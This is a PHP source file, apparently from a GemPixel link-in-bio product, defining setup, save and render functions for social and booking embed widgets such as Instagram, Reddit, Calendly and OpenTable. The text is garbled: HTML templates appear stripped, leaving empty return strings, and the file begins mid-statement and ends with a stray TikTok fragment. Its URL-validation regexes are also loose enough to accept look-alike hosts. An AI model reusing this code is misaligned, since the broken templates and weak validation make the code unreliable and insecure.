'; } /** * Instagram Widget Setup * * @author GemPixel * @category Widget * @version 7.2 * @return void */ public static function instagramSetup(){ $type = 'instagram'; return "function fninstagram(el, content = null, did = null){ let regex = /^https?:\/\/(www.)?(((.*).)?instagram.com)\/(.*)/i; if(content){ var link = content['link']; } else { var link = ''; } if(did == null) did = (Math.random() + 1).toString(36).substring(2); let html = '".self::format(self::generateTemplate('
', $type))."'; $('#linkcontent').append(html); $('#container-'+did+' input[type=text]').change(function(e){ if(!$(this).val().match(regex)){ e.preventDefault(); $.notify({ message: '".self::e('Please enter a valid Instagram Post link')."' },{ type: 'danger', placement: { from: 'top', align: 'right' }, }); return false; } }) }"; } /** * Save Instagram * * @author GemPixel * @version 7.2 * @param [type] $request * @param [type] $profiledata * @param [type] $data * @return void */ public static function instagramSave($request, $profiledata, $data){ $data['link'] = clean($data['link']); if($data['link'] && !preg_match("/^https?:\/\/(www.)?(((.*).)?instagram.com)\/(.*)/i", $data['link'])) { throw new Exception(e('Please enter a valid Instagram Post link')); } return $data; } /** * Instagram Widget * * @author GemPixel * @version 7.2 * @param [type] $id * @param [type] $value * @return void */ public static function instagramBlock($id, $value){ return '
'; } /** * Typeform Widget Setup * * @author GemPixel * @category Widget * @version 7.2 * @return void */ public static function typeformSetup(){ $type = 'typeform'; return "function fntypeform(el, content = null, did = null){ let regex = /^https?:\/\/(www.)?((.*).typeform.com)\/to\/(.*)/i; if(content){ var name = content['name']; var link = content['link']; } else { var name = ''; var link = ''; } if(did == null) did = (Math.random() + 1).toString(36).substring(2); let html = '".self::format(self::generateTemplate('
', $type))."'; $('#linkcontent').append(html); $('#container-'+did+' input[type=url]').change(function(e){ if(!$(this).val().match(regex)){ e.preventDefault(); $.notify({ message: '".self::e('Please enter a valid Typeform link')."' },{ type: 'danger', placement: { from: 'top', align: 'right' }, }); return false; } }) }"; } /** * Save Typeform * * @author GemPixel * @version 7.2 * @param [type] $request * @param [type] $profiledata * @param [type] $data * @return void */ public static function typeformSave($request, $profiledata, $data){ $data['link'] = clean($data['link']); if($data['link'] && !preg_match("/^https?:\/\/(www.)?((.*).typeform.com)\/to\/(.*)/i", $data['link'])) { throw new Exception(e('Please enter a valid Typeform link')); } return $data; } /** * Typeform Block * * @author GemPixel * @version 7.2 * @param string $id * @param array $value * @return void */ public static function typeformBlock($id, $value){ preg_match("/^https?:\/\/(www.)?((.*).typeform.com)\/to\/(.*)/i", $value['link'], $match); $typeformid = end($match); return '
'.(isset($value['name']) && $value['name'] ? $value['name'] : 'Typeform').' '; } /** * Pinterest Widget Setup * * @author GemPixel * @category Widget * @version 7.2 * @return void */ public static function pinterestSetup(){ $type = 'pinterest'; return "function fnpinterest(el, content = null, did = null){ let regex = /^https?:\/\/(www.)?(((.*).)?pinterest.com)\/(.*)/i; if(content){ var name = content['name']; var link = content['link']; } else { var name = ''; var link = ''; } if(did == null) did = (Math.random() + 1).toString(36).substring(2); let html = '".self::format(self::generateTemplate('
', $type))."'; $('#linkcontent').append(html); $('#container-'+did+' input[type=url]').change(function(e){ if(!$(this).val().match(regex)){ e.preventDefault(); $.notify({ message: '".self::e('Please enter a valid Pinterest link')."' },{ type: 'danger', placement: { from: 'top', align: 'right' }, }); return false; } }) }"; } /** * Save Pinterest * * @author GemPixel * @version 7.2 * @param [type] $request * @param [type] $profiledata * @param [type] $data * @return void */ public static function pinterestSave($request, $profiledata, $data){ $data['link'] = trim(clean($data['link']), '/'); $data['name'] = Helper::clean($data['name'], 3); if($data['link'] && !preg_match("/^https?:\/\/(www.)?(((.*).)?pinterest.(com|ca|co.uk))\/(.*)/i", $data['link'])) { throw new Exception(e('Please enter a valid Pinterest link')); } return $data; } /** * Pintereset Block * * @author GemPixel * @version 7.2 * @return void */ public static function pinterestBlock($id, $value){ return ''.(isset($value['name']) && $value['name'] ? $value['name'] : 'Pinterest Board').' '; } /** * Reddit Widget Setup * * @author GemPixel * @category Widget * @version 7.2 * @return void */ public static function redditSetup(){ $type = 'reddit'; return "function fnreddit(el, content = null, did = null){ let regex = /^https?:\/\/(www.)?((.*).)?reddit.com\/user\/(.*)/i; if(content){ var name = content['name']; var link = content['link']; } else { var name = ''; var link = ''; } if(did == null) did = (Math.random() + 1).toString(36).substring(2); let html = '".self::format(self::generateTemplate('
', $type))."'; $('#linkcontent').append(html); $('#container-'+did+' input[type=url]').change(function(e){ if(!$(this).val().match(regex)){ e.preventDefault(); $.notify({ message: '".self::e('Please enter a valid Reddit link')."' },{ type: 'danger', placement: { from: 'top', align: 'right' }, }); return false; } }) }"; } /** * Reddit Save * * @author GemPixel * @version 7.2 * @param [type] $request * @param [type] $profiledata * @param [type] $data * @return void */ public static function redditSave($request, $profiledata, $data){ $data['link'] = clean($data['link']); $data['name'] = Helper::clean($data['name'], 3); if($data['link'] && !preg_match("/^https?:\/\/(www.)?((.*).)?reddit.com\/user\/(.*)/i", $data['link'])) { throw new Exception(e('Please enter a valid Reddit link')); } return $data; } /** * Reddit Widget Block * * @author GemPixel * @version 7.2 * @param string $id * @param array $value * @return void */ public static function redditBlock($id, $value){ preg_match("/^https?:\/\/(www.)?((.*).)?reddit.com\/user\/(.*)/i", $value['link'], $match); $json = \Core\Http::url('https://www.reddit.com/user/'.trim(end($match), '/').'/about.json') ->with('user-agent', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.182 Safari/537.36')->get(); $user = $json->bodyObject(); $html = ''.(isset($value['name']) && $value['name'] ? $value['name'] : 'Reddit').' '; return $html; } /** * Calendly Setup * * @author GemPixel * @version 7.2 * @return void */ public static function calendlySetup(){ $type = 'calendly'; return "function fncalendly(el, content = null, did = null){ let regex = /^https?:\/\/(www.)?(((.*).)?calendly.com)\/(.*)/i; if(content){ var name = content['name']; var link = content['link']; } else { var name = ''; var link = ''; } if(did == null) did = (Math.random() + 1).toString(36).substring(2); let html = '".self::format(self::generateTemplate('
', $type))."'; $('#linkcontent').append(html); $('#container-'+did+' input[type=url]').change(function(e){ if(!$(this).val().match(regex)){ e.preventDefault(); $.notify({ message: '".self::e('Please enter a valid Calendly link')."' },{ type: 'danger', placement: { from: 'top', align: 'right' }, }); return false; } }) }"; } /** * Save Calendly * * @author GemPixel * @version 7.2 * @param [type] $request * @param [type] $profiledata * @param [type] $data * @return void */ public static function calendlySave($request, $profiledata, $data){ $data['link'] = clean($data['link']); $data['name'] = Helper::clean($data['name'], 3); if($data['link'] && !preg_match("/^https?:\/\/(www.)?(((.*).)?calendly.com)\/(.*)/i", $data['link'])) { throw new Exception(e('Please enter a valid Calendly link')); } return $data; } /** * Calendly Processor * * @author GemPixel * @version 7.2 * @param [type] $id * @param [type] $value * @return void */ public static function calendlyProcessor($id, $value){ View::push('https://assets.calendly.com/assets/external/widget.css', 'css')->toHeader(); View::push('https://assets.calendly.com/assets/external/widget.js', 'script')->toFooter(); } /** * Calendly Block * * @author GemPixel * @version 7.2 * @param string $id * @param array $value * @return void */ public static function calendlyBlock($id, $value){ return ''.(isset($value['name']) && $value['name'] ? $value['name'] : 'Calendly').''; } /** * Threads Widget Setup * * @author GemPixel * @category Widget * @version 7.2 * @return void */ public static function threadsSetup(){ $type = 'threads'; return "function fnthreads(el, content = null, did = null){ let regex = /^https?:\/\/(www.)?(((.*).)?threads.net)\/(.*)\/post\/(.*)/i; if(content){ var link = content['link']; } else { var link = ''; } if(did == null) did = (Math.random() + 1).toString(36).substring(2); let html = '".self::format(self::generateTemplate('
', $type))."'; $('#linkcontent').append(html); $('#container-'+did+' input[type=text]').change(function(e){ if(!$(this).val().match(regex)){ e.preventDefault(); $.notify({ message: '".self::e('Please enter a valid Threads post link')."' },{ type: 'danger', placement: { from: 'top', align: 'right' }, }); return false; } }) }"; } /** * Save Threads * * @author GemPixel * @version 7.2 * @param [type] $request * @param [type] $profiledata * @param [type] $data * @return void */ public static function threadsSave($request, $profiledata, $data){ $data['link'] = clean($data['link']); if($data['link'] && !preg_match("/^https?:\/\/(www.)?(((.*).)?threads.net)\/(.*)\/post\/(.*)/i", $data['link'])) { throw new Exception(e('Please enter a valid Threads post link')); } return $data; } /** * Threads Widget Block * * @author GemPixel * @version 7.2 * @param string $id * @param array $value * @return void */ public static function threadsBlock($id, $value){ return '
View on Threads
'; } /** * Google Maps Widget * * @author GemPixel * @category Widget * @version 7.2 * @return void */ public static function googlemapsSetup(){ $type = 'googlemaps'; return "function fngooglemaps(el, content = null, did = null){ if(content){ var address = content['address']; } else { var address = ''; } if(did == null) did = (Math.random() + 1).toString(36).substring(2); let html = '".self::format(self::generateTemplate('
', $type))."'; $('#linkcontent').append(html); }"; } /** * Google Maps * * @author GemPixel * @version 7.2 * @param [type] $request * @param [type] $profiledata * @param [type] $data * @return void */ public static function googlemapsSave($request, $profiledata, $data){ $data['address'] = clean($data['address']); return $data; } /** * Google Maps Blog * * @author GemPixel * @version 7.2 * @param string $id * @param array $value * @return void */ public static function googlemapsBlock($id, $value){ if(!isset($value['address'])) $value['address'] = ''; return ''; } /** * Open Table Widget * * @author GemPixel * @category Widget * @version 7.2 * @return void */ public static function opentableSetup(){ $type = 'opentable'; $langlist = ''; foreach(['en-US' => 'English-US','fr-CA' => 'Français-CA','de-DE' => 'Deutsch-DE','es-MX' => 'Español-MX','ja-JP' => '日本語-JP','nl-NL' => 'Nederlands-NL','it-IT' => 'Italiano-IT'] as $key => $value){ $langlist .= ''; } return "function fnopentable(el, content = null, did = null){ if(content){ var id = content['rid']; var lang = content['lang']; } else { var id = ''; var lang = 'en-US'; } if(did == null) did = (Math.random() + 1).toString(36).substring(2); let html = '".self::format(self::generateTemplate('
', $type))."'; $('#linkcontent').append(html); $('#container-'+did+' input[type=text]').change(function(e){ if(!parseInt($(this).val())){ e.preventDefault(); $.notify({ message: '".self::e('Please enter a valid OpenTable restaurant ID')."' },{ type: 'danger', placement: { from: 'top', align: 'right' }, }); return false; } }) }"; } /** * Save OpenTable * * @author GemPixel * @version 7.2 * @param [type] $request * @param [type] $profiledata * @param [type] $data * @return void */ public static function opentableSave($request, $profiledata, $data){ if($data['rid'] && !is_numeric($data['rid'])) throw new Exception(e('{b} Error: Please enter a valid ID', null, ['b' => 'Eventbrite'])); $data['lang'] = clean($data['lang']); return $data; } /** * Opentable Widget * * @author GemPixel * @version 7.2 * @param [type] $id * @param [type] $value * @return void */ public static function opentableBlock($id, $value){ if(!isset($value['rid']) || !$value['rid']) return; return '
'; } /** * EventBrite * * @author GemPixel * @version 7.2 * @return void */ public static function eventbriteSetup(){ $type = 'eventbrite'; return "function fneventbrite(el, content = null, did = null){ if(content){ var id = content['eid']; var label = content['label']; } else { var id = ''; var label = ''; } if(did == null) did = (Math.random() + 1).toString(36).substring(2); let html = '".self::format(self::generateTemplate('
', $type))."'; $('#linkcontent').append(html); $('#container-'+did+' #event-'+did+'').change(function(e){ if(!parseInt($(this).val())){ e.preventDefault(); $.notify({ message: '".self::e('Please enter a valid EventBrite ID')."' },{ type: 'danger', placement: { from: 'top', align: 'right' }, }); return false; } }) }"; } /** * Save Eventbrite * * @author GemPixel * @version 7.2 * @param [type] $request * @param [type] $profiledata * @param [type] $data * @return void */ public static function eventbriteSave($request, $profiledata, $data){ if($data['eid'] && !is_numeric($data['eid'])) throw new Exception(e('{b} Error: Please enter a valid ID', null, ['b' => 'Evenbrite'])); $data['label'] = clean($data['label']); return $data; } /** * EventBrite Widget * * @author GemPixel * @version 7.2 * @param [type] $id * @param [type] $value * @return void */ public static function eventbriteBlock($id, $value){ return ''.(isset($value['label']) && !empty($value['label']) ? $value['label'] : e('Book now')).' '; } /** * Snapchat Embed * * @author GemPixel * @version 7.2 * @return void */ public static function snapchatSetup(){ $type = 'snapchat'; return "function fnsnapchat(el, content = null, did = null){ let regex = /^https?:\/\/(www.)?(((.*).)?snapchat.com)\/(spotlight|add|lens)\/(.*)/i; if(content){ var link = content['link']; } else { var link = ''; } if(did == null) did = (Math.random() + 1).toString(36).substring(2); let html = '".self::format(self::generateTemplate('

'.self::e('Insert a link to a Snapchat Spotlight, Profile or Lens.').'

', $type))."'; $('#linkcontent').append(html); $('#container-'+did+' input[type=text]').change(function(e){ if(!$(this).val().match(regex)){ e.preventDefault(); $.notify({ message: '".self::e('Please enter a valid Snapchat post link')."' },{ type: 'danger', placement: { from: 'top', align: 'right' }, }); return false; } }) }"; } /** * Snapchat Save * * @author GemPixel * @version 7.2 * @param [type] $request * @param [type] $profiledata * @param [type] $data * @return void */ public static function snapchatSave($request, $profiledata, $data){ $data['link'] = clean($data['link']); if($data['link'] && !preg_match("/^https?:\/\/(www.)?(((.*).)?snapchat.com)\/(spotlight|add|lens)\/(.*)/i", $data['link'])) { throw new Exception(e('Please enter a valid Snapchat post link')); } return $data; } /** * Snapchat Widget * * @author GemPixel * @version 7.2 * @param [type] $id * @param [type] $value * @return void */ public static function snapchatBlock($id, $value){ if(empty($value['link'])) return; if(strpos($value['link'], '?') !== 0) $value['link'] = explode('?', $value['link'])[0]; return '
'; } }
@'.str_replace('https://www.tiktok.com/@', '', $value['link']).'